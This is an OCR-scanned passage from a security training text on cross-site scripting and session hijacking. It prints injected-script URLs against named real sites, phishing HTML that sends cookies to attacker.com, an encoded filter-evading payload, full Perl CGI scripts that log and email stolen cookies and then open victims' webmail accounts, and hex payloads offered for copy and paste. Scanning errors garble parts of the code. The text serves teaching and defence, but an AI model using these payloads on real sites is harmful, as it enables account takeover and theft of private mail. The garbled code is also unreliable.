Client-Side Languages possess an enormous amount of power to access and manipulate the DOM within a
browser. Complex & diverse interconnections between multiple languages create an increased the level of
access within and beyond the DOM. Increased level of access to read & modify DOM data ranging anything from
background colors, to system files, and beyond to executing systems calls.

Client-Side Languages include: DHTML (HTML, XHTML, HTML x.0, JavaScript (1.x), Java (Applets), VBScript,
Flash, ActiveX, XML/XSL,CSS )

Cross-Site Scripting (XSS) vulnerabilities are very often misunderstood and not given the due concern and
attention they deserve by vendors. XSS is the preferred acronym for “Cross-Site Scripting” simply to minimize
the confusion with Cascading Style Sheets (CSS). Simply put, a web application vulnerable to XSS allows a user
to inadvertently send malicious data to him or herself through that application. Attackers often perform XSS
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exploitation by crafting malicious URLs and tricking users into clicking on them. These links cause client side
scripting languages (VBScript, JavaScript, etc.) of the attacker’s choice to execute on the victim’s browser. XSS
vulnerabilities are caused by a failure in the web application to properly validate user input. The following are a
few actual XSS vulnerability exploits with embedded JavaScript (highlighted) able to execute on the user’s
browser with the same permissions of the vulnerable website domain:

. http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/educatio
n/?ID=CTN&target="> <script>alert(document.cookie)</script>

=  http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);

</script>

. http://www.oracle.co.jp/mts sem owa/MTS SEM/im search exe?search text=%22%3E%3C
script%3Ealert%?28document.cookie%29%3C%2Fscript%3E

Like the above examples, most crafted malicious URLs all typically have the same or similar http:// prefix as
the trusted application (e.g. http://www.hotmail.com, http://www.excite.com, etc.)8,9. Vendors and
maintainers of website applications do not always realize that this aura of legitimacy surrounding many of the
crafted malicious XSS URLs exacerbates the issue by making the user that much more likely to trust the link.

The most common web components that fall victim to XSS vulnerabilities include CGI scripts, search engines,
interactive bulletin boards, and custom error pages with poorly written input validation routines. Additionally, a
victim doesn’t necessarily have to click on a link; XSS code can also be made to load automatically in an HTML
e-mail with certain manipulations of the IMG or IFRAME HTML tags (much like the Badtrans worm). There are
numerous ways to inject JavaScript code into URLs for the purpose of a XSS attack10.The “Cross-Site” part of
XSS refers to the security restrictions that a web browser usually places on data (i.e. cookies, dynamic HTML
page attributes, etc.) associated with a dynamic website. By causing the user’s browser to execute rogue script
snippets under the same permissions of the web application domain, an attacker can bypass the traditional
Document Object Model (DOM) security restrictions which can result not only in cookie theft but account
hijacking, changing of web application account settings, spreading of a webmail worm, etc11. The DOM12 is a
conceptual framework for allowing scripts to make changes to dynamic web content and 10 a sampling of XSS
examples taken from http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05-15/0:

<a href="javas&#99;ript&#35;[code]">

<div onmouseover="[code]">

<img src="javascript:[code]">

<img dynsrc="javascript:[code]">

<input type="image" dynsrc="javascript:[code]">
<bgsound src="javascript:[code]">
&<script>[code]</script>

&{[code]};

<img src=&{[code]};>

<link rel="stylesheet" href="javascript:[code]">

<iframe src="vbscript:[code]">

<img src="mocha:[code]">

<img src="livescript:[code]">

<a href="about: <s&#99;ript>[code]</script>">

<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">

<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);">

<div style="binding: url([link to code]);">

<div style="width: expression([code]);">

<style type="text/javascript">[code]</style>

<object classid="clsid:..." codebase="javascript:[code]">
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]1]><script>[code]//--></script>

<l-- -- --><script>[code]</script><!-- -- -->
<<script>[code]</script>

<img src="blah"onmouseover="[code]">

<img src="blah>" onmouseover="[code]">

<xml src="javascript:[code]">

<xml id="X"><a><b>&lt;script>[code]&lt;/script>; </b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\XCO][\xBC]script>[code][\xCO][\xBC]/script>

normally is implemented using the web browser’s security settings, to prevent such things as malicious
websites from retrieving cookies values from other domains. As mentioned previously, cookie stealing is only
one of the many implications of XSS attacks. By subverting client side scripting languages, an attacker can take
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full control over the victim’s browser. This also has more insidious ramifications against users of a web
application domain if the attacker chooses to exploit a vulnerability in the browser in order to gain access to the
underlying operating system.

A TRADITIONAL XSS POWERED HIJACK

Session hijacking usually involves an attacker using captured, brute-forced, or reverseengineered
authentication tokens (almost always stored in cookies) to seize control of a legitimate user's web application
session while that user is logged on to the application. This usually results in the attacker being able to perform
all normal web application functions with the same privileges of that legitimate user (e.g. online bill pay,
composing an email, etc.). As mentioned in the previous section, exploiting XSS vulnerabilities are a relatively
easy way for an attacker to steal cookies from a user assuming the attacker knows about an XSS vulnerability
in a targeted application and the victim is currently logged on to that application. The steps involved for an
attacker to hijack a web session using XSS are outlined below.

Sequentially, here is a brief walk through:

1. A user is logged on to her web application and the session is currently active. An attacker knows of a
XSS hole that affects that application.

2. The user receives a malicious XSS link via an e-mail or comes across it on a web page. Often, an
attacker may rely on social engineering with call-to-arms phrasing such as “Check out this story!”,
“You gotta see this”, or “Look at this great deal.” For instance, to exploit the XSS hole at
hotwired.lycos.com mentioned in the previous section, the HTML behind the crafted malicious link
might look like:

<htmlI>

<head>

<title>Look at this!</title>

</head>

<body>

<a
href="http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>document.locati
on.replace('http://attacker.com/steal.cgi?'+document.cookie); </script>"> Check this CNN story out!
</a>

</body>

</html>

The JavaScript code causes the victim’s browser to be redirected to the attacker’s CGI script and
provides her Lycos cookies as an argument to the program. The purpose behind appending the cookie
to the end of this web request is so that the CGI script can parse it and log it for the attacker’s
purposes. After clicking on the above link, the final redirected web request may look something like:

http://attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C20100000000;%20p uni
qid=8s]gk9daas7WUMxVOB;%?20gv_titan 20=5901=1019511286

To add a little more deviousness to the social engineering, an attacker could also add the following
JavaScript in order to trick the victim further by displaying a bogus destination location in the lower left
hand corner of the browser.

<html>

<head>

<title>Look at this!</title>

</head>

<body>

<a
href="http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>document.locati
on.replace('http://attacker.com/steal.cgi?'+document.cookie); </script>"
onMouseOver="window.status="http://www.cnn.com/2002/SHOWBIZ/News/05/02/
clinton.talkshow.reut/index.html';return true"
onMouseOut="window.status="";return true"> Check this CNN story out!

</a>

</body>

</html>

which would look like any normal link. Unfortunately for the attacker, this particular section of
Lycos.com filters out some special characters (like * and +) diffusing the above attempts at
exploitation. Not to worry, using some JavaScript encoding tricks13 and armed with a copy of an ASCII
table14, the attacker creates the following URL to bypass the filters:

<html>
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<head>

<title>Look at this!</title>
</head>

<body>

<a href="http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>var u =

String.fromCharCode(0x0068);u %2B=
String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074);

U4. Input Validation

U %2B= String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003A);
u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x002F);
U %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x0074);
u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0061);
U %2B= String.fromCharCode(0x0063);u %2B= String.fromCharCode(0x006B);
u %2B= String.fromCharCode(0x0065);u %2B= String.fromCharCode(0x0072);
U %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063);
u %2B= String.fromCharCode(0x006F);u %2B= String.fromCharCode(0x006D);
U %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0073);
u %2B= String.fromCharCode(0x0074);u %?2B= String.fromCharCode(0x0065);
U %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x006C);
u %2B= String.fromCharCode(0x002E);u %?2B= String.fromCharCode(0x0063);
u %2B= String.fromCharCode(0x0067);u %?2B= String.fromCharCode(0x0069);
u %2B= String.fromCharCode(0x003F);u %2B=

document.cookie;document.location.replace(u); </script>"
onMouseOver="window.status="http://www.cnn.com/2002/SHOWBIZ/News/05/02/
clinton.talkshow.reut/index.html';return true"
onMouseOut="window.status="";return true"> Check this CNN story out!

</a>

</body>

</html>

To understand the above code, consider the letter-by-letter ASCII hex translation
of http://attacker.com/steal.cqi?:

h -> 0x0068
t -> 0x0074
t -> 0x0074
p -> 0x0070
: -> 0x003A
/ -> 0x002F

Similar tricks can and have been used to circumvent filtering in web applications, including most
webmail services (Hotmail, etc.).

The user either clicks on the XSS link in their browser or web enabled e-mail reader, or it is
automatically loaded via an HTML IFRAME or IMG manipulation (e.g. <img src ="script.js”> or <iframe
= “script.js”>). JavaScript (or some other language) executes, transmitting the user’s cookie for that
application (in this case Lycos) to a CGI script hosted on an external server. In this example, the
actual URL that the browser tries to visit is

http://attacker.com/steal.cqi?lubid=01000000F81038F953EB3C41EB340000585500000000;%20p uni
qid=8s51F99ZdNn/n27HtA

in which the encoded Lycos cookie values are:

lubid=01000000F81038F953EB3C41EB340000585500000000 p_uniqid=8s51F99ZdNn/n27HtA

While not providing as much customized exploitation functionality, attackers have also been known to
pass data through other’s hosted e-mail CGI scripts in order to maintain a level of anonymity15.

The CGI script logs the cookie value, and the attacker is able to extract the values and load them into
his or her own browser. A simple perl CGI script can be used for this purpose:

#!1/usr/bin/perl

# steal.cgi by David Endler dendler@idefense.com

# Specific to your system

$mailprog = '/usr/sbin/sendmail';

# create a log file of cookies, we'll also email them too
open(COOKIES, "> >stolen_cookie_file");

# what the victim sees, customize as needed

print "Content-type:text/html\n\n";
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print <<EndOfHTML;

<html><head> <title>Cookie Stealing</title></head>
<body>

Your Cookie has been stolen. Thank you.
</body></html|>

EndOfHTML

# The QUERY_STRING environment variable should be filled with

# the cookie text after steal.cgi:

# http://www.attacker.com/steal.cgi?XXXXX

print COOKIES “$ENV{'QUERY_STRING'} from $ENV{'REMOTE_ADDR’}\n";
# now email the alert as well so we can start to hijack
open(MAIL,"|$mailprog -t");

print MAIL "To: attacker\@attacker.com\n";

print MAIL "From: cookie_steal\@attacker.com\n";

print MAIL "Subject: Stolen Cookie Submission\n\n";

print MAIL "-" x 75 . "\n\n";

print MAIL “$ENV{'QUERY_STRING'} from $ENV{‘REMOTE_ADDR'}\n";
close (MAIL);

5. Upon receiving an e-mail that a new Lycos cookie has been stolen, the attacker quickly logs on to the
user’s account with the pilfered cookie values without having to enter a username or password. The
attacker has now hijacked the session from the legitimate user and has full web application
functionality as if he or she were that user.

NOW LET’S AUTOMATE IT

One of the biggest obstacles for an attacker in turning a cookie-stealing XSS exploit into a successful web
account hijacking exploit is timing. Having to continuously monitor e-mails and CGI logs for newly pilfered
cookies and quickly hijack a session before the victim signs out is tedious. Automating the process is well within
the technical means of malicious individuals today and has been shown to be quite possible in at least one
proof-of-concept demonstration. Automating the session hijacking scenario does not require much more effort,
only the same CGI authoring privileges on any web server as in the previous section.

An Automated XSS Hijack

For this example, let’s presume the targeted application is Hotmail.com and an attacker has successfully caused
a Hotmail user to click on a XSS cookie-stealing link. The following CGI script steals the cookie, loads the cookie
values into a HTTP client, and accesses the account from which we can read or delete e-mail, send more
malicious XSS links to people in the address book, or even use the account as a launching pad for a malicious
webmail worm.

The victim’s Hotmail cookie values are as follows:

HMP1=1;
HMSC0899=223victim%40hotmail%2ecomSxAIWQg5ilf2ZTc6eTZYkHUqtZeCuYMKoBAB1eiapyadKb1RCjuNz5U4
%2111KIOsuBpTEbUKYkmTuzPlVj%?2abtLeMyiVGap9BF82YvrP2WPsX4Z6ekH9a7cRqq2VqTspQIS33GWygbPEsLO
EFIupoiaYZdgmURMIK%21nh604u4UNAJUjzOmMQ8ye%2at3GjQfi6pBa3vTT533tCRMZDy47NZY6cPdkbeHR5s0AV
nNPyghvm73a%214%?2aFRHPIfOGhT6cbVR9zN%21XDX3seXv9czjX6cm2lugTnpKZS2UQ0j%21%21PWkyigS2aS
w%2aKk2%?2aCquxzpjE2FOuVZgHfznNjVLPgGV2H%2a5GqZjXf144U0m8HFwWIGS9A8RIWNMGtMoSro%2atCU6L6
304VyZyJ4vIEM%21adk%?24;

MC1=V=3&GUID=0724b14826c9437ct786ba6f2a36b04f;

lang=en-us;

mh=MSFT;
SITESERVER=ID=UID=0724b14876c9437ca786ba6f2a36b44f;MSPAuth=231qD6vvUbDzgFAM607QVMWaeSdtiJE
XxWGRQ5cmSulJ9CUf4QSIbsQNmMKkOCe3RL0%21A5GhxQ7mtfdZ%2aw3Bc007Pwzw%24%24;MSPProf=2]qD6vv
UbB11hog4j60gbT%21BYwgn3IZN9AyKYUpDNECCi%2a9dBZf37wgxmWtyS%21%2176icYG8dVF30FnbsANQcd
N11Q%21QICTDiddJAW90iWSf%2a8g9nwIGcIDtNP6Hk2gFIOfZHEjuvkM6Ja1N549eYs1VuhdcHCFWukzbVR%21%
218POKn%?2aS8vcqVg4ZHHgabh0CQXoxj;

domain=Iw4fd.law4.hotmail.msn.com;

These cookie values are then sent to the attacker’s CGI script as:

http://attacker.com/steal2.cgi?HMP1=1;%20HMSC0899=223victim%40hotmail%2ecomSxAIWQq5ilf2ZTc6eTZYk
HUqgtZeCuYMKoBAB1leiapyadKb1RCjuNz5U4%2111KIOsuBpTEbUKYkmTuzPlVj%?2abtLeMyiVGap9BF82YvrP2WPs

X4Z6ekH9a7cRqq2VqTspQIS33GWygbPESLOEFIupoiaYZdgmURMIK%21nh604u4UNAIUjzOmQ8ye%2at3GjQfi6p
Ba3vTT533tCRMZDy47NZY6cPdkbeHR5s0AVNNPYyghvm73a%214%2aFRHPIfOGhT6cbVRIzN%21XDX3seXv9czjX
6cm2lugTnpKZS2UQ0j%21%21PWkyigS2aSw%2aKk2%2aCquxzpjE2FO0uVZgHfznNjVLPgGV2H%2a5GqZjXf144U
O0m8HFWIGS9A8RIWNMGtMO0Sro%2atCU6L6304VyZyJ4VvIEM%21adk%24;%20MC1=V=3&GUID=0724b14826c94
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37ct786ba6f2a36b04f; %20lang=en_s; %20mh=MSFT;%20SITESERVER=ID=UID=0724b14876c9437ca786ba6f
2a36b44f; %20MSPAuth=2]qD6vvUbDzgFAM607QVMWaeSdtiJEXWGRQ5cmSulJ9CUf4QSIbsQNmMKkOCe3RL0%2
1A5GhxQ7mtfdZ%2aw3Bc007Pwzw%24%24; %20MSPProf=2]qD6vvUbB11hog4j60gbT%21BYwgn3IZN9AYKYU
PDNECCi%2a9dBZf37waqxmWtyS%21%21Z6icYG8dVF30FnbsANQcdN11Q%21QICTDiddJAW90iWSf%2a8g9nwIG
cIDtNP6Hk2gFIOfZHEjuvkM6Ja1N549eYs1VuhdcHCFWukzbVR%21%218POKN%2aS8vcqVg4ZHHgabh0CQXoxj;

%20domain=Iw4fd.law4.hotmail.msn.com;
The attacker’s Hotmail exploitation specific CGI script:

#!/usr/bin/perl

# steal2.cgi by David Endler dendler@idefense.com

use LWP::UserAgent;

use HTTP::Cookies;

$cookie = HTTP::Cookies->new (

File => $cookiefile,

AutoSave => 0, );

# Specific to your system

$mailprog = '/usr/sbin/sendmail’;

# create a log file of cookies, we’ll also email them too
open(COOKIES, "> >stolen_cookie_file");

# what the victim sees, customize as needed

print "Content-type:text/htmI\n\n";

print <<EndOfHTML;

<html><head> <title>Cookie Stealing</title></head>
<body>

Your Cookie has been stolen. Thank you.

</body></html>

EndOfHTML

# The QUERY_STRING environment variable should be

# filled with

# the cookie text after steal2.cgi:

# http://www.attacker.com/steal2.cgi?XXXXX

print COOKIES “$ENV{'QUERY_STRING'} from $ENV{‘REMOTE_ADDR'}\n";
# now email the alert as well so we can start to hijack
open(MAIL,"|$mailprog -t");

print MAIL "To: attacker\@attacker.com\n";

print MAIL "From: cookie_steal\@attacker.com\n";

print MAIL "Subject: Stolen Cookie Submission\n\n";

print MAIL "-" x 75 . "\n\n";

print MAIL “$ENV{'QUERY_STRING'} from $ENV{'‘REMOTE_ADDR'}\n";
close (MAIL);

# this snippet goes to the victim’s Hotmail inbox and dumps
# the output. An attacker could just as easily add some lines
# to parse for http://lw4fd.law4.hotmail.msn.com/cgi-bin/getmsg?
# and then read the individual emails

$base_url = “http://Iw4fd.law4.hotmail.msn.com/cgi-bin/HoTMailL?";
$ua->agent("Mozilla/4.75 [en] (Windows NT 5.0; U)");
$request = new HTTP::Request ('GET', $base_url);
$ua->cookie_jar( $cookie );

# let’s do a little parsing of our input to separate multiple

# cookies

# cookies are seperated by a semicolon and

# a space (%20),

# this will extract them so we can load them into our

# HTTP agent

@cookies = split(/;%20/,$ENV{'HTTP_COOKIE'});

for (@cookies){

@cookie_pairs = split(/=/, $_);

$cookie->set_cookie(0, “$cookie_pairs[0]” => “$cookie_pairs[1]”, "/",
".hotmail.com");

$cookie->add_cookie_header($request); }

# now that our forged credentials are loaded, let’s

# access the victim’s Hotmail account! At this point

# we can do anything to their account simply by forming the
# correct URL

$response = $ua->simple_request( $request );

$contents = $response->content;

print COOKIES “$contents\n”;

CUSTOMIZED FOR AUTOMATED WEBMAIL HIJACKING

The automated features of the CGI script in the previous section alleviate the timing issues involved with XSS
powered account hijacking, although customizing it for each vulnerable web application can be tedious and
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challenging. This section focuses on tricks that attackers use to determine a victim’s webmail application of
choice in order to expedite a break-in. Most web servers have a referer18 field that logs from where a particular
web request arrived. This is useful for a multitude of reasons: debugging, market analysis of user behavior and
efficacy of ad campaigns to name a few. When a user clicks on a link in a webmail application message,
however, the referer field actually contains information about the type of webmail application and in some
cases exposes sensitive session ID information. For instance, examining the Apache access logs of one such
web request from the securitypimps.com website shows the following referer field:

10.10.10.10 - - [22/Apr/2002:14:18:32 MST7MDT] "GET http://securitypimps.com HTTP/1.1"
200 - "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)"

http://216.33.148.250/cgibin/linkrd? lang=EN&lah=cddcea2075f2f38ce3a70aa743908ee9&Iat=1019506708&h

m action=http%3a%2f%2fwww%2esecuritypimps%2ecom

While the particular ID fields used in the URLs of web applications are outside of the scope of this paper, it is
generally not a good idea to expose this information as these fields have a history of security problems.
However, using the referer information allows an attacker to formulate a smarter automated exploit script
customized for a wide realm of webmail applications. For instance, the following snippet could easily be
integrated to the script supplied in the previous section:

#!/usr/bin/perl

# steal2.cgi by David Endler dendler@idefense.com
use LWP::UserAgent;

use HTTP::Cookies;

$cookie = HTTP::Cookies->new (

File => $cookiefile,

AutoSave => 0, );

# Specific to your system

$mailprog = '/usr/sbin/sendmail’;

# create a log file of cookies, we’ll also email them too
open(COOKIES, "> >stolen_cookie_file”);

# what the victim sees, customize as needed

print "Content-type:text/htmI\n\n";

print <<EndOfHTML,;

<html><head> <title>Cookie Stealing</title></head>

<body>

Your Cookie has been stolen. Thank you.

</body></html>

EndOfHTML

# The QUERY_STRING environment variable should be

# filled with

# the cookie text after steal2.cgi:

# http://www.attacker.com/steal2.cgi?XXXXX

print COOKIES “$ENV{'QUERY_STRING'} from $ENV{'REMOTE_ADDR'}\n";
# now email the alert as well so we can start to hijack
open(MAIL,"|$mailprog -t");

print MAIL "To: attacker\@attacker.com\n";

print MAIL "From: cookie_steal\@attacker.com\n";

print MAIL "Subject: Stolen Cookie Submission\n\n";

print MAIL "-" x 75 . "\n\n";

print MAIL “$ENV{'QUERY_STRING'} from $ENV{'REMOTE_ADDR'}\n";
close (MAIL);

# this snippet goes to the victim’s Hotmail inbox and dumps

# the output. An attacker could just as easily add some lines

# to parse for http://lw4fd.law4.hotmail.msn.com/cgi-bin/getmsg?

# and then read the individual emails

if ($ENV{'HTTP_REFERER'} =~ /linkrd/) {

$webmail_app = “.hotmail.com”;

$base_url = “http://Ilw4fd.law4.hotmail.msn.com/cgi-bin/HoTMaiL?"; }
else if ($ENV{'HTTP_REFERER'} =~ /aol/) {

$webmail_app = “webmail.aol.com”;

$base_url = “http://webmail.aol.com/msglist.adp?”;}

else if ($ENV{'HTTP_REFERER'} =~ /yahoo/)) {

$webmail_app = “.mail.yahoo.com”;

$base_url = “http://us.f211.mail.yahoo.com/ym/ShowFolder?”;}

else if ($ENV{'HTTP_REFERER'} =~ /netscape/)) {

$webmail_app = “ncmail.netscape.com”;

$base_url = “http://ncmail.netscape.com/msglist.adp?”;}

else if ($ENV{'HTTP_REFERER'} =~ /lycos/)) {

$webmail_app = “webmail.lycos.com”;

$base_url = “http://be5-
mail.mail.lycos.com/688185332353770086219/gmm_flip.femail?folder=X:zzz:!1linbox:F:0";}
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else if ($ENV{'HTTP_REFERER'} =~ /cox/)) {
$webmail_app = “webmail.cox.net”;

$base_url = “http://webmail.cox.net/cgi-bin/gx.cgi/AppLogic+mobmain?mbox=Inbox";}
$ua->agent("Mozilla/4.75 [en] (Windows NT 5.0; U)");
$request = new HTTP::Request ('GET', $url);
$ua->cookie_jar( $cookie );

# let’s do a little parsing of our input to separate multiple
# cookies

# cookies are seperated by a semicolon and

# a space (%20),

# this will extract them so we can load them into our

# HTTP agent

@cookies = split(/;%20/,$ENV{'HTTP_COOKIE'});

for (@cookies){

@cookie_pairs = split(/=/, $_);

$cookie->set_cookie(0, “$cookie_pairs[0]” => “$cookie_pairs[1]”, "/",
"$webmail_app");

$cookie->add_cookie_header($request); }

# now that our forged credentials are loaded, let’s

# access the victim’s webmail account! At this point

# we can do anything to their account simply by forming the
# correct URL

$response = $ua->simple_request( $request );

$contents = $response->content;

print COOKIES “$contents\n”;

Another Simple Example of XSS cookie theft

Depending on the particular web application some of the variables and positioning of the injections may
need to be adjusted. Keep in mind the following is a simple example of an attacker's methodology. In our
example we will exploit a cross site scripting hole in a perimeter of "a.php" called "variable" via a normal
request. This is the most common type of cross site scripting hole that exists.

Step 1: Targeting: After you have found an XSS hole in a web application on a website, check to
see if it issues cookies. If any part of the website uses cookies, then it is possible to steal them
from its users.

Step 2: Testing: Since XSS holes are different in how they are exploited, some testing will need to be
done in order to make the output believable. By inserting code into the script, its output will be
changed and the page may appear broken. (The end result is crucial and the attacker will have to do
some touching up in the code to make the page appear normal.) Next you will need to insert some
Javascript (or other client side scripting language) into the URL pointing to the part of the site which is
vulnerable. Below I have provided a few links that are for public use when testing for XSS holes. These
links below, when clicked on will send the users cookie to www.cgisecurity.com/cgi-bin/cookie.cgi and
will display it. If you see a page displaying a cookie then session hijacking of the user's account may
be possible.

ASCII Usage:

http://host/a.php?variable="><script>document.location="http://www.cgisecurity.com/cgi-
bin/cookie.cgi? '%20+document.cookie</script>

Hex Usage:
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6
€%74%2e%6c%6f%63%61%74%69%6f%6€%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e
%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e
% 2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6€e%74
%2e%63%6f%6f%6b%69%65%3¢c%2f%73%63%72%69%70%74%3e

NOTE: The request is first shown in ASCII, then in Hex for copy and paste purposes.

1. "><script>document.location="http://www.cgisecurity.com/cgi-
bin/cookie.cgi?'+document.cookie</script>
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http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
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HEX
%22%3€%3c%73%63%72%69%70%74%3€%64%6f%63%75%6d%65%6€%74%2e%6C%6f%63%61
%74%69%6{%6€%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63
%75%72%69%74%79%2€%63%6f%6d%2f%63%67%69
%2d%62%69%6€%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75
%6d%65%6€%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2. <script>document.location="http://www.cgisecurity.com/cgi-
bin/cookie.cgi?'+document.cookie</script>

HEX
%3C%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6Cc%6f%63%61%74%69
%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e

% 2f%63%61%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6€%74
%2e%63%6f%6f%6b%69%65%3C %2f%73%63%72%69%70%74%3e

3. ><script>document.location="http://www.cgisecurity.com/cgi-bin/cookie.cgi?"
+document.cookie</script>

HEX
%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6€%74%2e%6Cc%6f%63%61%74
%69%6f%6€%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69
%6€e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e
%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

These are the examples of "evil" Javascript we will be using. These Javascript examples gather the users
cookie and then send a request to the cgisecurity.com website with the cookie in the query. My script on
cgisecurity.com logs each request and each cookie. In simple terms it is doing the following:

My cookie = user=zeno; id=021
My script = www.cgisecurity.com/cgi-bin/cookie.cgi

It sends a request to my site that looks like this.
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (Note: %20 is a hex encoding for a space)

This is a primitive but effective way of grabbing a user's cookie. Logs of the use of this public script can
be found at www.cgisecurity.com/articles/cookie-theft.log

XSS in the hidden field
Often forms will have a hidden field, like id. Passed through from a link. I.e

sendmessage.php?id=257
and the <input type="hidden" name="id" value="257">

So, what happens when you pass through an id of "><script...... >. It's amazing how many people only filter
field that appear in text, and not hidden forms. Often this can be applied to other text boxes, as well as they
forget to filter ", or </textarea>

XSS & javascript

There is more than one way to put a script in, and it shows. You can make a link of with href="javascript: evil
code here;" Which can work, but relies on the victim to click. However, you can also do <img src="javascript:

evil code;">

So, some sites filter javascript: in links and urls. Luckily for us, some browsers, we can put control codes inside
javascript: the website filter won't catch it, but the the browsers will filter out the control codes.

For examples of this, see this website for some demonstrations. http://badwebmasters.net/advisory/012/

Page 45



http://www.cgisecurity.com/articles/cookie-theft.log
http://badwebmasters.net/advisory/012/

Security Check U4. Input Validation

XSS & HTML Attributes

Most tags have extensions to support javascript events. I.e. Onmouseover, onblue, onfocus. Some sites get all,
some sites just get a few. Onload is a fun one you can attach it to an image as so: <img src="..." onload="evil
code">

The simple way to filter this is to only let people use tag attributes you like, i.e src, href, etc,.
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Example 1

At the login page for an fictious online bank :

‘3 Hackme Bank - Microsoft Intermnet Explorer

Password: |

Submitting javascript into the url provides us a little popup:

http://www.hackmebank.com/AcmeHackme/bank/login.aspx?uid="><script>alert(%22CSSattack%20may%?20

be%?20used%?22); </script>

Microsoft Internet Explorer |54

/1
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Example 2

By crafting a special java script and having an authenticated user use the link, we can send their creditials to a
foreign website

http://www.hackmebank.com/AcmeHackme/bank/search.aspx?searchterms=<script>window.open(%?22http://
192.168.10.80/challenge/games/7/cookie collector.php?cookie=%22%2Bdocument.cookie)</script>

- Hackme Bank - Microsoft Intemnet Explorer

Mo results were found for the query:

Copyright © 2002, Hackhe Bank
A rights reserved.

@ hittp: ##192.168.10.80/challenge/games/7 /cookie_collector. php?oookie=A5P.MET_S essionl d=z2t3zjc3bwSwagth 3mips |— o
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Example 3

Here is a cut-n-paste collection of typical JavaScript-injection hacks you may derive some glee from playing
with. We replaced all angle brackets with double-round-brackets in case any AV software is feeling
particularly sensitive.

((a href="javas&#99;ript&#35;[code]"))

((div onmouseover="[code]"))

((img src="javascript:[code]"))

((img dynsrc="javascript:[code]")) [IE]

((input type="image" dynsrc="javascript:[code]")) [IE]

((bgsound src="javascript:[code]")) [IE]

&((script))[code]((/script))

&{[code]}; [N4]

((img src=&{[code]};)) [N4]

((link rel="stylesheet" href="javascript:[code]"))

((iframe src="vbscript:[code]")) [IE]

((img src="mocha:[code]")) [N4]

((img src="livescript:[code]")) [N4]

((a href="about: ((s&#99;ript))[code]((/script))"))

